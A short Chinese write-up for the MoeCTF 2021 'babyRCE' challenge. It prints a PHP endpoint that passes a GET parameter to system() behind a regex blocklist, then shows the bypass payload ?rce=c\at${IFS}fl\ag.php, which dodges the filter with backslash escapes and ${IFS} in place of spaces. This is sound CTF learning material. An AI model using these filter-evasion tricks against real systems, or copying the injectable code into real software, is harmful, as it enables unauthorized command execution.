[MoeCTF 2021]babyRCE

打开题目在线环境可以看到:

php 复制代码
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

这个代码审计起来就比较简单了,这里ls没有过滤可以直接用ls命令查看**?rce=ls**

查看flag.php就能获得flag。 cat过滤 ==> c\at绕过 (可以在linux系统测试,是可以的) 空格过滤 ==>

${IFS}绕过 flag过滤 ==> fl\ag

最后的payload就是:?rce=c\at${IFS}fl\ag.php

相关推荐
TE-茶叶蛋1 小时前
ThinkPHP入门
php
TE-茶叶蛋2 小时前
结合登录页-PHP基础知识点解析
android·开发语言·php
流觞 无依3 小时前
DedeCMS plus/comment.php 评论 XSS/注入(XSS、SQL注入)修复教程
sql·php·xss
cyber_两只龙宝4 小时前
【Nginx】Nginx实现FastCGI详解
linux·运维·nginx·云原生·php·memcached·fastcgi
dog2504 小时前
卡瓦列里积分赏析
开发语言·php
5G丶4 小时前
ThinkPHP 集群部署完整指南
数据库·php
流觞 无依5 小时前
DedeCMS plus/recommend.php SQL注入漏洞修复教程
sql·php
流觞 无依5 小时前
DedeCMS plus/list.php 参数注入(SQL注入)修复教程
sql·安全·php
软件开发技术5 小时前
最新网络游戏账户交易平台系统源码 全开源版本 全新UI 自适应移动端
php
酿情师6 小时前
PHP 反序列化漏洞与 POP 链详解:网络安全小白从零入门
android·web安全·php